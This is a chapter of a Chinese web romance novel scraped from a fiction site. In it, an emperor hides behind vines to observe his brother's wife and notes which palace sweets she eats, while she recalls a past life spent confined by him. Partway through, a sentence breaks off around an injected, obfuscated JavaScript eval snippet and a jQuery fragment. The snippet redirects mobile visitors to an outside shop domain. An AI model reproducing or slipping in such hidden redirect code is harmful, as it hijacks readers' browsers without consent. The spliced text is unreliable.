文趣网 > 都市小说 > 弟妻(强取豪夺) > 25. 她对朕很熟悉
    陆芍没能见到元义,曹升前来回话,说陛下正见大臣,暂时抽不出空,陆芍失望,却也知道对此人来说,无论何时,朝政都是最重要的。

    她扁扁嘴,不太满意,想说那等元义有空的时候她再来,曹升忙把人拦住。

    “王妃,您不如在这等等,陛下前朝事实在太多,也不知什么时候那个大臣就来了,还有那么多奏疏要看,奴才到时候便是去寻您怕是也来不及,您在这等着,陛下休息的当口奴才提一嘴,陛下不就能过来了吗?”

    陆芍一听果然有理,只是仍有些踌躇:“我,我一个外命妇,在紫宸殿待着,是不是不大好,容易惹人闲话吧。”

    曹升惊讶,昨晚都在紫宸殿用过膳了,还忌讳这个?

    “王妃这话从何说起,您既进宫来,陛下应承了殿下要照顾您,自然会多看护,再说别的外命妇若是有事,也是要在紫宸殿等着的,哪里会有闲话呢。”

    “您不必在偏殿等,去后殿,还能可以游游园子,要是觉得无趣,奴才给您取些话本子来。”

    陆芍睁大眼:“您,您怎么知道……”

    曹升笑道:“您忘了,奴才出宫传话,殿下说要您信任陛下听陛下的话呢,还告诉奴才您素日无聊,就喜欢看话本子打发时间,奴才都记在心上呢。”

    陆芍抽抽鼻子:“难为夫君,在宫外还想着我,也劳烦总管了。”

    曹升是没办法,各种扯谎,谎话吗就得真真假假,元信的确说过麻烦他看顾,可这么细致的嘱托,却是没有的,不扯魏王这面大旗,这陆姑娘满心戒备,如何在紫宸殿放松的下来。

    紫宸殿的后花园,乃是陛下独享,说是小花园,比御花园太液池也不小,白天再看,又有一番趣味,比起来王府逼仄的多,汴京寸土寸金,元义又不许皇室中人随意扩园子占百姓的地,哪怕元信已是一品亲王,住的不过是个五进的宅子。

    陆芍觉得委屈,有朝一日出了汴京,跟元信去了封地,她定要修个大大的宅子,自然怎么舒服怎么来。

    池子里养着各种颜色的鱼,好几只胖的跟猪一样,陆芍手里的鱼食扔下去,就半个鱼头露出水面,大嘴一张一合的,看着傻乎乎的,陆芍笑起来,一把鱼食都丢下去,说了句傻鱼,甚是觉得无趣,曹升找来的话本子地理志什么的,她也没心思看。

    没过一会儿,曹升领着一队小太监鱼贯而入,各色糕点羹汤摆满桌子。

    “王妃,知道您等着,陛下虽脱不开身,却让膳房做了糕点甜品,您尝尝。”

    点心上了十五道,晶莹玉透,还有熬煮软烂的银耳梨汤,这个时候吃最是下火,此外燕窝、花生酪、山楂软羹各色羹类甜品,足足上了十盅,陆芍却只是瞥了一眼,道了一声谢,便转过头对着池水发呆。

    曹升内心咋舌,陛下节俭,对自己和后妃要求都很高,后妃九嫔以上每日才能有甜品糕点的份例,今日这点心宴,每一道都是膳房精心制作,上这么多,不过是为了看这陆姑娘喜欢哪个不喜欢哪个,难得的不是吃食,是心意,这桌席面放在周哀帝那时候,也只有皇后能享受,便是陆贵妃那个位子的后妃,也没这个恩典,她竟不以为意,也不感恩戴德,后宫妃嫔得如此殊荣,怕是立刻就要跪地谢恩了。

    陆芍有一搭没一搭的,见到喜欢的多吃两口,不喜欢的看也不看,她曾这么等过元义吗,都不太记得了,或许刚成婚的第一年是有的,他以为她是汝阳公主,以为她是剥夺南宫氏正妻之位,让他恼火的宋氏女。

    新婚夜,就等了很久很久,后来那一年每一个夜晚,她都要等,等元义安寝的消息传来,才能睡下。

    再后来,她不需要等了,元义说,她表面温顺,内心藏奸,把她留在元宅,她会兴风作浪,气坏主母,南宫氏哪里会是她的对手,她成了他的随军夫人,上辈子没有陆家消极抵抗纳土归夏,他一统中原的时间要更长,打进汴京,做了皇帝,后宅那些女人都有名分,按资历子嗣封赏,他不是会亏待自己女人的人。

    可只有她,那么多年没有名分,紫宸殿旁新建了个芍药殿,就是她的住所,从搬进去一直到难产而亡,她就没迈出过这个地方。

    她不需要等元义,因为每天都能见到他,芍药殿到紫宸殿不过几步之遥,后来他越发嚣张,怕她私自与陆家传信,透露什么重要军情,需要时时刻刻监视,索性搬到芍药殿,不肯再走。

    她从来都没什么话语权,哪怕怀着身孕,也得应付他,哪里需要等他,求着他快走都求不来。

    陆芍不喜欢这个地方。

    曹升回去复命,元义却不在紫宸殿正殿,的确有大臣递了牌子想来,被元义拒了,今日他谁都没见,他坐的地方,层层叠叠茂密的葡萄藤挡着,却能把陆芍在做什么,看的一清二楚。

    元义坐在玉案前,曹升的徒弟刘景顺正弓着身子给元义磨墨,元义气定神闲,不知在纸上写着什么。

    “如何,她可高兴?”

    曹升笑都笑不出来,总不能睁眼说瞎话吧,陛下又不是没长眼睛。

    “奴才瞧着陆姑娘,兴致不大高,许是记挂着陆夫人的事。”曹升拼命找补:“奴才听闻陆姑娘小时候在宫里养了几年,她们姑侄情深,姑姑身陷囹圄,做侄女的要是还能吃得下,也太没心没肺了。”

    他凑过去,一眼看见元义桌上写的,根本不是批奏疏,更不是有闲情逸致的在画画,写的居然是点心名。

    曹升愕然,陛下什么时候对吃食这么上心了,陛下有喜好,但吃什么都行,从未对御膳房主动要求要吃什么,有一回御膳房备懒,呈上的点心居然是半凉的,就这陛下都没处置,不过是打了几十板子,让人继续当差,若是搁在前朝,对陛下的膳食都不上心,真是嫌自己跟家族的人都活够了。

    陛下是他见过的贵人里,口腹之欲最低的,为何写

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17637664|205200||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这些。

    曹升恍然大悟,抬头看向陆芍那边,分明是陆姑娘吃了什么,他便记了什么,陛下何曾对哪个女人这么上心呢,可偏偏那女子是陛下弟媳,陛下一直克制着,发乎情止乎礼,陛下真是不容易啊,曹升想哭。

    “这些她都不喜欢?”元义问的看似很随意。

    这里面有一道水晶糕,倒不是说用的材料有多珍贵,做这手艺的大厨被召进宫侍奉,方子被皇室垄断,就不能在民间随意售卖,且这厨子是新朝建立后入宫的,前朝都没这道菜,糕呈桃子型,外面晶莹剔透,里头是各色馅心,不说味道,光是外形年轻的女子们喜欢不得了。

    可陆姑娘瞧了,吃了一口,不过尔尔。

    “也不是不喜欢,奴才觉得,陆姑娘的表现,像是习惯了。”

    元义写字的手微微一顿。

    “奴才吩咐御膳房准备,好些都是宫廷御品,别说民间,前朝都没有,可陆姑娘的不以为意,好似,好似……”这感觉很怪,曹升读书少,形容不出来。

    “她被娇宠长大,玉盘珍馐见惯了。”

    “奇怪就在这,陛下,陆家是大族不假,可陆老侯爷那个性子,规矩实在是大,他们家还崇尚古训,一日二食,过午不食呢,侯府省俭,省下来的银子都补贴到军费去了,陆姑娘过奢靡生活,这不合理,是从哪见惯的呢。”

    曹升还想起来一件陆老侯爷的笑话,但顾忌陆姑娘,他也不能嘲笑,毕竟是魏王的老丈人呢。

    “这陆姑娘,真不像陆家出来的,奴听说,陆家规矩大的很。”曹升随着元义望过去。

    水边的凉亭没有靠垫,陆芍坐的累了,索性腿也放了上去,抱着腿下巴搁在上头,看着池子发呆。

    “她很奇怪。”

    曹升原先不觉得,现在却察觉出,这陆姑娘,是有点奇怪,陆家规矩太大了,老侯爷自持是清贵人家,对家眷行走坐立都有一套规矩,一日二食,晚间不得用宵夜,他这个当奴才听了,都觉得不仅鸡零狗碎,也太冷漠不近人情,这样家族养出来的女孩儿,性格古板是绝不讨喜的,就比如陆夫人。

    这也是为何陆夫人明明生的天仙一般,却不得宠,屡屡被小秦后压在头上的原因。

    可这陆姑娘,此时的样子,却完全不像老侯爷能教出来的女儿,那种懒懒散散,怎么舒服怎么来的样子,就不像,而且瞧她样子,怎么在紫宸殿跟后花园似的。

    “满桌子那么多的菜,一眼就挑中朕爱吃的独黄酥。”

    这种事,应该是巧合,曹升觉得此事不能说明陆姑娘的奇怪。

    “睡梦中,她叫了朕,仲谦。”

    也许是魏王殿下说的呢,曹升想。

    “她分明怕朕,却又对朕很熟悉,你不觉得奇怪吗?”

    曹升偷偷看了一眼元义,不敢说不觉得。

    “她对朕这么熟悉,朕怎能不好好探究一番。”